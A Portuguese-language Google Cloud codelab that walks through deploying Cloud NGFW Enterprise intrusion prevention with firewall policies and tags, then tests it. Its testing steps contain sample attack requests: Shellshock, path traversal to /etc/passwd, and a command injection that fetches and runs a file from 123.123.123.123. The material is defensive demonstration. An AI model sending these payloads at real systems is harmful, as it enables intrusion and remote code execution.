1. Introdução
Firewall de última geração do Cloud (NGFW)
O Cloud Next Generation Firewall é um serviço de firewall totalmente distribuído com recursos avançados de proteção, microssegmentação e cobertura abrangente para proteger suas cargas de trabalho do Google Cloud contra ataques internos e externos.
O Cloud NGFW tem os seguintes benefícios:
- Serviço de firewall distribuído: o Cloud NGFW oferece uma aplicação com base em host, com estado e totalmente distribuída, em cada carga de trabalho, para permitir uma arquitetura de segurança de confiança zero.
- Configuração e implantação simplificadas: o Cloud NGFW implementa políticas de firewall hierárquicas e de rede que podem ser anexadas a um nó da hierarquia de recursos. Essas políticas fornecem uma experiência de firewall consistente em toda a hierarquia de recursos do Google Cloud.
- Controle granular e microssegmentação: a combinação de políticas de firewall e tags controladas pelo Identity and Access Management (IAM) proporciona um controle preciso para o tráfego norte-sul e leste-oeste, até uma única VM, em redes e organizações de nuvem privada virtual (VPC).
O Cloud NGFW está disponível nos seguintes níveis:
- Fundamentos do firewall de última geração do Cloud
- Cloud Next Generation Firewall Standard
- Firewall de última geração do Cloud Enterprise
Cloud NGFW Enterprise (em inglês)
O Cloud NGFW Enterprise adiciona o Serviço de prevenção de intrusões (IPS, na sigla em inglês), um recurso da camada 7, à estrutura distribuída do firewall do Google Cloud. A inspeção TLS tem suporte para permitir a inspeção do tráfego criptografado por TLS, mas está fora do escopo deste codelab. Consulte o Codelab do Cloud NGFW Enterprise com inspeção TLS.
Agora você pode implantar inspeções confiáveis de firewall de última geração na camada 7 (NGFW) com controles granulares, sem fazer nenhuma alteração em sua arquitetura de rede ou configurações de roteamento.
Para ativar e implantar o controle de firewall da Camada 7 com IPS, você precisa executar as seguintes tarefas:
- Criar um conjunto de endpoints de firewall zonais gerenciados pelo Google Cloud.
- Como opção, crie uma política de inspeção TLS (não abordada neste codelab).
- Como opção, crie uma configuração de confiança (não abordada neste codelab).
- Associe esses endpoints às redes de nuvem privada virtual (VPC) onde você precisar do serviço Cloud NGFW Enterprise.
- Faça alterações simples nas políticas e regras de firewall existentes para especificar os perfis de prevenção de ameaças para os vários caminhos de tráfego.
Políticas de firewall de rede
A política de firewall de rede atua como um contêiner para regras de firewall. As regras definidas em uma política de firewall de rede não são aplicadas até que a política seja associada a uma rede VPC. Cada rede VPC pode ter uma política de firewall de rede associada a ela. As políticas de firewall de rede oferecem suporte a tags controladas pelo IAM (ou apenas tags) nas regras de firewall, que substituem as tags de rede atuais e podem ser usadas para dar identidade à carga de trabalho.
O compartilhamento de uma política de firewall de rede entre redes e a integração com tags controladas pelo IAM simplificam muito a configuração e o gerenciamento dos firewalls.
Com o lançamento das políticas de firewall de rede, as políticas de firewall do Google Cloud agora consistem nos seguintes componentes:
- Política de firewall hierárquica
- Regras de firewall da VPC
- Política de firewall de rede ( global e regional)
As políticas hierárquicas de firewall são compatíveis com os nós da organização e da pasta na hierarquia de recursos, enquanto as regras de firewall da VPC e as políticas de firewall de rede são aplicadas no nível da VPC. Uma grande diferença entre as regras de firewall de VPC e as políticas de firewall de rede é que as regras de firewall de VPC só podem ser aplicadas a uma rede VPC, enquanto as políticas de firewall de rede podem ser anexadas a uma única VPC ou grupo de VPCs, entre outros benefícios, como atualizações em lote.
Por fim, também temos as regras de firewall implícitas que acompanham todas as redes VPC:
- Uma regra de saída em que a ação é permitir, o destino é 0.0.0.0/0
- uma regra de entrada em que a ação é negar, a origem é 0.0.0.0/0
Por padrão, a sequência de aplicação é mostrada no diagrama abaixo:
A ordem de aplicação entre as regras de firewall da VPC e a política de firewall de rede global pode ser trocada. Os clientes podem especificar a ordem de aplicação a qualquer momento com um comando gcloud.
Tags controladas pelo IAM
As novas tags integradas nas regras de política de firewall da rede são recursos de pares de chave-valor definidos na organização ou no nível do projeto da hierarquia de recursos do Google Cloud. Essa tag contém um controle de acesso do IAM, como o nome indica, que especifica quem pode fazer o quê na tag. Com as permissões do IAM, por exemplo, é possível especificar quais principais podem atribuir valores às tags e quais podem anexar tags aos recursos. Depois que uma tag é aplicada a um recurso, as regras de firewall de rede podem usá-la para permitir ou negar tráfego.
As tags aderem ao modelo de recurso de herança do Google Cloud. Isso significa que as tags e os valores delas são transmitidos pela hierarquia a partir dos pais. Assim, as tags podem ser criadas em um só lugar e usadas por outras pastas e projetos em toda a hierarquia de recursos. Acesse esta página para ver detalhes sobre tags e restrição de acesso.
As tags não devem ser confundidas com tags de rede. que são strings que podem ser adicionadas às instâncias do Compute Engine. eles são associados à instância e desaparecem quando ela é desativada. As regras de firewall da VPC podem incluir tags de rede, mas como não são consideradas recursos da nuvem, elas não estão sujeitas ao controle de acesso do IAM.
As tags e as tags regidas pelo IAM estão sendo usadas de forma intercambiável neste documento.
O que você vai criar
Este codelab requer um único projeto e a capacidade de criar uma rede VPC com conectividade pública. Ele também demonstrará como o Cloud NGFW Enterprise pode oferecer funcionalidades de IPS:
- Como inspecionar fluxos de sub-rede/VPC [leste-oeste]
- Como inspecionar os fluxos de entrada da Internet [Norte-Sul]
Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino) e tags. A Inspeção de TLS não está incluída neste codelab.
A base de regras da política de firewall de rede será semelhante à tabela abaixo:
Prioridade | Direção | Destino | Origem | Destino | Ação | Tipo |
100 | Saída | Quarantine_Tag | Qualquer | Tudo | Negar | Essentials |
1000 | Entrada | Server_Tag | Intervalos de verificação de integridade | Qualquer | Permitir | Essentials |
2000 | Entrada | Qualquer | Intervalos do Identity-Aware Proxy | Qualquer | Permitir | Essentials |
3000 | Entrada | Qualquer | Dados geográficos, GCTI | Qualquer | Negar | Padrão |
4000 | Saída | Qualquer | Qualquer | Dados geográficos, GCTI | Negar | Padrão |
5000 | Saída | Qualquer | Qualquer | FQDNs de atualização do sistema | Permitir | Padrão |
6000 | Entrada | Server_Tag | 10.0.0.0/24 | Qualquer | IPS | Enterprise |
7.000 | Entrada | Server_Tag | CloudNAT_IP | Qualquer | IPS | Enterprise |
O que você vai aprender
- Como criar uma política de firewall de rede global
- Como criar e usar tags com política de firewall de rede
- Como configurar e usar o serviço de prevenção de invasões do Cloud NGFW Enterprise
O que é necessário
- Projeto do Google Cloud
- Saber implantar instâncias e configurar componentes de rede.
- Conhecimento de configuração de firewall de VPC
2. Antes de começar
Criar/atualizar variáveis
Este codelab usa variáveis $variables para ajudar na implementação da configuração da gcloud no Cloud Shell.
No Cloud Shell, execute os comandos abaixo substituindo as informações entre colchetes conforme necessário (pule a configuração do projeto se o projeto já estiver definido). Uma variável diferente será usada para recursos no nível da organização se vários, por exemplo, endpoints de firewall de firewall.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Ativar APIs
Ative as APIs se ainda não tiver feito isso:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Criação de endpoint e perfil de segurança empresarial do Cloud NGFW
Como a criação do endpoint do Cloud NGFW Enterprise leva cerca de 20 minutos, ele será criado primeiro e a configuração básica pode ser feita em paralelo enquanto o endpoint estiver sendo criado.
Crie o perfil de segurança e o grupo de perfis de segurança:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Saída esperada:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Confirme se os recursos foram criados:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Saída esperada:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Crie o endpoint do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Execute o comando abaixo para confirmar a criação do endpoint (ESTADO: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Ou então, execute o comando abaixo para obter mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
O processo de criação do endpoint leva cerca de 20 minutos. Prossiga para a seção Configuração básica para criar os recursos necessários em paralelo.
5. Configuração básica
Prossiga para as seções a seguir se preferir criar manualmente os recursos base.
Rede VPC e sub-rede
Rede VPC e sub-rede
Crie a rede VPC e a sub-rede:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crie os Cloud Routers e os gateways do Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instâncias
Crie as instâncias client e web-server:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tags no nível do projeto
Atribua as permissões tagAdmin e/ou tagUser ao usuário, se necessário:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Crie a chave e os valores da tag para envolvidos no projeto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Vincule tags a instâncias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política de firewall de rede global
Crie a política de firewall de rede global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Crie regras essenciais do Cloud Firewall para negar o tráfego de instâncias em quarentena (criadas apenas como exemplo, não usadas neste codelab) e permitir o tráfego de intervalos de health-check e de proxy com reconhecimento de identidade:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Criar regras do Cloud Firewall Standard para negar tráfego de entrada e saída de/para países embargados, IPs maliciosos conhecidos e nós de saída de ToR; e permitir tráfego de saída apenas para FQDNs específicos para atualizações do sistema (criados apenas como exemplo e não usados neste codelab):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Crie regras de firewall do Cloud para permitir a entrada de tráfego leste-oeste / na sub-rede e norte-sul / de Internet nos intervalos específicos. Essas regras serão atualizadas para ativar o Cloud NGFW Enterprise:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Associe a política de firewall de rede à rede VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Balanceador de carga de rede TCP/UDP externo
Reserve um endereço IP externo e crie o grupo de instâncias e a verificação de integridade:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Crie o serviço de back-end e a regra de encaminhamento:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Associação de endpoints corporativos de NGFW do Cloud
Redefina as variáveis de ambiente, se necessário.
Confirme se a criação do Cloud Firewall Endpoint foi concluída. Só continue quando o estado for mostrado como ACTIVE (durante a criação, o estado esperado é CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Saída esperada (o formato pode variar de acordo com o cliente usado):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Ou então, execute o comando abaixo para obter mais detalhes:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Saída esperada:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Associe o endpoint do Cloud NGFW Enterprise à rede VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
O processo de associação leva cerca de 10 minutos. Só continue quando o estado for mostrado como ACTIVE (o estado esperado é CREATING durante o processo de criação):
gcloud network-security firewall-endpoint-associations list
Saída esperada:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Ou então, execute o comando abaixo para obter mais detalhes:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Saída esperada:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Regras de inspeção empresarial de NGFW do Cloud
Abra uma nova guia e inicie uma conexão SSH com a VM de cliente pelo IAP. Você precisará definir as variáveis novamente na nova guia:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Defina as variáveis necessárias na sessão SSH e configure as variáveis (verifique se os valores estão corretos):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Use o comando "curl" nos dois IPs para confirmar que eles são acessíveis:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Resultado esperado para as duas solicitações curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Enviar ataques de amostra ao IP do servidor interno (tráfego leste-oeste / intraVPC). O servidor da Web responderá a todas as solicitações, confirmando que não há inspeção/prevenção L7 em vigor:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Envie novamente os ataques de amostra para o IP do servidor externo pelo Cloud NAT (tráfego de entrada norte-sul) e, da mesma forma, o servidor da Web responderá a todas as solicitações:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Resultados esperados para IPs públicos e privados:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Volte para o Cloud Shell e atualize as regras de entrada atuais para ativar a inspeção L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Se quiser, descreva as regras de firewall para verificar se ambas foram atualizadas:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Saída esperada:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regra 7.000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Saída esperada:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Volte para a VM do cliente e reenvie os ataques de amostra para o IP do servidor interno (inspeção leste-oeste / intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Reenvie a amostra de ataques para o IP do servidor externo por meio do Cloud NAT (inspeção de entrada norte-sul):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Nenhuma resposta é recebida para os primeiros ataques conforme a saída esperada abaixo, confirmando que os ataques de alta gravidade agora estão sendo bloqueados.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Acesse Segurança de rede > Ameaças no console do Cloud para verificar os registros (talvez seja necessário atualizar algumas vezes se os ataques ainda não estiverem sendo exibidos).
Escolha um dos ataques e clique em "Ver registro de auditoria" no lado direito (abre em uma nova guia para voltar facilmente). Expanda o ataque para mostrar os detalhes:
Opcionalmente, substitua o filtro da Análise de registros pela consulta abaixo:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
As entradas do registro de ameaças devem ser vistas conforme abaixo:
Os pacotes interceptados pelo Cloud Firewall podem ser verificados usando o filtro da Análise de registros abaixo (útil para a solução de problemas):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Continue com a inspeção de tráfego de Internet (opcional) ou feche a sessão SSH e prossiga para o próximo capítulo com as etapas de limpeza.
[Opcional] Inspeção do tráfego da Internet
Conforme verificado na seção anterior, os fluxos inspecionados até agora são tráfego intra-sub-rede/VPC (leste-oeste) e tráfego de entrada da Internet (entrada norte-sul). O Cloud NGFW Enterprise também pode ser configurado para inspecionar todo o tráfego da Internet (saída norte-sul) criando uma nova regra de saída com o Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Volte para a VM do cliente e reenvie os ataques de alta gravidade ao IP do servidor externo:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Saída esperada:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Mude para a guia "Ameaças" no console do Cloud para verificar os registros (talvez seja necessário atualizar algumas vezes). Os ataques deveriam ter sido identificados e registrados novamente, mas agora o IP de origem é interno, porque uma regra de saída está sendo acionada primeiro:
Feche a sessão SSH e siga para a próxima seção das etapas de limpeza.
8. Etapas de limpeza
Limpeza dos componentes do Cloud NGFW Enterprise
Liste as associações atuais do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Exclua a associação do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Liste os endpoints atuais do Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Exclua o endpoint do Cloud NGFW Enterprise, o que pode levar cerca de 20 minutos:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Execute o comando abaixo para confirmar se o Cloud NGFW Enterprise foi excluído:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Exclua o grupo de perfis de segurança e o perfil de prevenção de ameaças:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Limpeza da configuração da base
Prossiga para a próxima etapa se preferir excluir os recursos base.
Defina as variáveis de ambiente, se necessário. No Cloud Shell, exclua os componentes do balanceador de carga de rede:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Remova instâncias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Se quiser, siga as etapas abaixo se os papéis "tagAdmin" e "TagUsers" tiverem sido alterados:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Remova a chave e os valores de tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Exclua a política de rede do Cloud Firewall e a associação:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Exclua o Cloud Router e o Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Exclua endereços IP reservados:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
